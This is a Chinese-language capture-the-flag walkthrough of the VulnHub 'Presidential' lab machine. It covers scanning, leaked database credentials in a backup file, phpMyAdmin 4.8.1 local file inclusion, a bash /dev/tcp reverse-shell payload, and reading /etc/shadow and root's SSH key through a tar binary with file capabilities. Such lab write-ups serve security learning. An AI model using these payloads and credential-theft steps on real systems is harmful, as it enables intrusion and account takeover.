打靶记录24——Presidential
靶机:
https://www.vulnhub.com/entry/presidential-1,500/
下载(镜像):https://download.vulnhub.com/presidential/Presidential.ova
难度:
- 中
目标:
- 获得 Root 权限 + 2 Flag
攻击方法:
- 主机发现
- 端口扫描
- 信息收集
- 备份文件
- 子域名爆破
- phpmyadmin
- 密码爆破
- 本地文件包含
- Capabilities
- 本地权限漏洞
- SSH公钥认证
主机发现
sudo arp-scan -l
端口扫描和服务发现
sudo nmap -p- 192.168.31.15
sudo nmap -p80,2082 -sV 192.168.31.15
-sV
:进行服务版本探测。它会尝试获取目标端口上运行的服务具体的软件版本信息,例如,如果 80 端口开放且运行着 HTTP 服务,它可能会探测出是 Apache 还是 Nginx 服务器以及对应的版本号等内容,有助于了解目标的软件环境,判断是否存在已知版本相关的安全漏洞等。-sC
:等同于--script=default
,会调用nmap
默认自带的一系列脚本对目标进行检测。这些脚本可以帮助发现一些常见的安全配置问题、服务特性、漏洞信息等,比如可以检测目标是否存在弱密码、是否有一些不安全的 HTTP 配置等情况。
打开 80 端口的 Web 应用,发现有一个域名,那我们就直觉的先把它添加到 hosts 文件里面,方便进行域名解析
sudo vi /etc/hosts
然后我们通过域名来访问网站,没发现有啥不同
路径爬取
sudo dirsearch -u http://192.168.31.15
访问 http://votenow.local/config.php.bak
这个应该是一个备份文件,打开后 Ctrl + U
查看源代码,发现信息
其中包含了数据库的相关信息,库名和账号密码
<?php
$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";
?>
尝试用这个账号密码登录目标系统
ssh votebox@192.168.31.15 -p 2082
但是目标不支持密码登录方式,支持公钥身份认证方式登录
子域名爆破
gobuster vhost -u http://votenow.local/ -w /usr/share/seclists/Discovery/WebContent/directory-list-2.3-medium.txt | grep "Status: 200"
发现一个新域名 datasafe.votenow.local/
,然后继续添加到 hosts 文件里面,访问发现是一个 phpmyadmin
使用前面在备份文件中获取到的账号密码 votebox/casoj3FFASPsbyoRP
成功登录进去
phpmyadmin
发现了账号密码 admin/$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
,先保存下来
在 URL 后面直接写 README 就可以看它的版本 http://datasafe.votenow.local/README
searchsploit phpmyadmin 4.8.1
使用下面那个 RCE 的代码不成功
本地文件包含
那就用其他的试试
现在这里执行一下
复制 session ,按照 44928.txt 中构造我们的 URL
注意我们的 URL 中多了个 s ,要把它去掉才能利用成功
发现成功了
反弹 shell
那么我们反弹 shell
select '<?php system("bash -i >& /dev/tcp/192.168.31.137/4444 0>&1");exit;?>'
system
函数:在 PHP 等编程语言中,system
函数用于执行操作系统命令。它会在服务器的 shell 环境中执行括号内的命令字符串。bash -i
:这部分启动一个交互式的bash
shell 环境。-i
选项表示交互模式,使得攻击者在获取到 shell 后能够更方便地与目标系统进行交互操作,如执行各种命令、查看文件系统等。>& /dev/tcp/192.168.31.137/4444
:这是一个重定向操作,将bash
进程的标准输出(stdout
)和标准错误输出(stderr
)都重定向到一个 TCP 连接上。/dev/tcp/
是一个在类 Unix 系统中用于创建 TCP 套接字的特殊设备文件路径表示方式,这里表示要连接到 IP 地址为192.168.31.137
的主机上的4444
端口。0>&1
:这进一步确保了标准输入(stdin
)也与标准输出和标准错误输出关联起来,使得攻击者能够通过建立的 TCP 连接向目标系统的bash
shell 发送输入命令,实现完整的交互式控制。
然后浏览器再访问 URL 就成功反弹 shell
PS:记得重新登录,获取一个新的 session
发现一个 admin 账号,我们前面有获得过一个 admin 的密码
用 john 爆破密码,获得密码 Stella
python -c "import pty;pty.spawn('/bin/bash')"
升级一下 shell
Capabilities 提权
getcap -r / 2>/dev/null
使用这个命令来检查系统上哪些文件具有特殊的功能权限。和 SUID
比较相似
getcap
是一个用于获取文件功能(capabilities)的命令。在 Linux 系统中,文件功能是一种细粒度的权限机制,它可以让文件(通常是可执行文件)具有比传统的用户 / 组 / 其他权限更灵活的权限设置。-r
选项是递归(recursive)的意思,/
是根目录,所以getcap -r /
表示从根目录开始递归地获取所有文件的功能。2>/dev/null
是一种标准错误输出重定向。在 Linux 系统中,文件描述符2
代表标准错误输出。/dev/null
是一个特殊的设备文件,它就像一个 “黑洞”,把写入其中的数据丢弃。所以2>/dev/null
的作用是将命令执行过程中产生的错误信息丢弃,这样用户在终端上就看不到错误信息了。
ls -l /usr/bin/tarS
发现这个是 admin 账号可以使用的,它的属主和属组都是 admin,它既可以读也可以搜索 /usr/bin/tarS = cap_dac_read_search+ep
然后发现它就是一个 tar 命令,用来压缩、打包的
用 tarS 来读取 /etc/shadow 文件
1. 第一次尝试打包 /etc/shadow
文件(在 phpmyadmin
目录下)
- 操作命令:
tarS -cvf shadow.tar /etc/shadow
(在[admin@votenow phpmyadmin]
目录下执行) - 结果及原因:
出现tarS: shadow.tar: Cannot open: Permission denied
以及tarS: Error is not recoverable: exiting now
的错误提示。这是因为在phpmyadmin
目录下,当前用户(admin
)没有足够权限在该目录创建shadow.tar
文件,所以导致打包操作无法正常进行。
2. 第二次尝试打包 /etc/shadow
文件(在用户主目录 ~
下)
- 操作命令:
先通过cd
命令回到用户主目录([admin@votenow ~]
),然后再次执行tarS -cvf shadow.tar /etc/shadow
。 - 结果及相关说明:
这次操作成功开始打包,并且有tarS: Removing leading
/' from member names的提示,随后显示
/etc/shadow,表示正在将
/etc/shadow文件添加到
shadow.tar归档文件中。成功执行后,在当前目录(用户主目录)下可以看到生成了
shadow.tar文件,通过
ls命令能看到相关文件列表(
notes.txt、
shadow.tar、
user.txt` 等)。
3. 解压 shadow.tar
文件
- 操作命令:
在用户主目录下执行tar -xvf shadow.tar
。 - 结果及后续查看:
解压后在当前目录下生成了etc
目录(因为打包时去掉了/
开头的绝对路径前缀,所以解压出来是相对路径形式的目录结构),通过ls
命令能看到解压后的etc
目录以及其他文件。进一步通过ls -l
查看详细信息,可以看到etc
目录的权限等信息(drwxrwxr-x 2 admin admin 20 Jan 3 10:05 etc
)。
4. 查看 /etc/shadow
文件内容及权限修改
- 查看文件内容遇到权限问题:
进入etc
目录后([admin@votenow etc]
),执行ls -l
查看shadow
文件(即之前打包解压出来的/etc/shadow
的对应文件),发现其权限为----------
,意味着除了超级用户(root
)外,其他用户都没有任何权限访问该文件,所以当执行cat shadow
命令时,提示cat: shadow: Permission denied
,无法查看文件内容。 - 权限修改及再次查看内容:
接着执行chmod 700 shadow
命令,将shadow
文件权限修改为所有者具有读、写、执行权限(7
对应的权限位rwx
),所属组和其他用户都没有任何权限的情况。之后再次执行cat shadow
命令就能成功查看文件内容了,文件内容展示了系统中各个用户账号(如root
、bin
、admin
等)对应的加密后的密码信息(以$
符号分割的格式,如$6$BvtXLMHn$zoYCSCRbdnaUOb4u3su6of9DDUXeUEe05OOiPIQ5AWo6AB3FWRr/RC3PQ4z.ryqn6o5xS9g4JTKHYI4ek9y541
等)以及密码相关的一些设置参数(如密码有效期等信息)。
- 在
tar
命令中,-c
、-v
、-f
、-x
是四个不同的选项。 -c
(Create):这个选项告诉tar
命令创建一个新的归档文件。例如,当你想要将多个文件或目录打包成一个.tar
文件时,就需要使用这个选项。-x
(Extract):这个选项指示tar
命令从归档文件中提取(解压)文件和目录。它与创建归档文件的-c
选项相对应。-v
(Verbose):它用于显示详细的操作信息。在打包过程中,-v
选项会让tar
命令打印出正在添加到归档文件中的每个文件或目录的名称。这样用户可以清楚地看到打包的进度和具体内容。-f
(File):-f
选项用于指定归档文件的名称。它后面需要紧跟要创建或操作的归档文件名。例如,-cvf shadow.tar
表示创建一个名为shadow.tar
的归档文件,并且在创建过程中显示详细信息。
然后想通过 john 来暴力破解 root 用户的密码但是失败了,而且花了很长时间
SSH 公钥认证
读取 root 的私钥文件,然后去登录 root 账号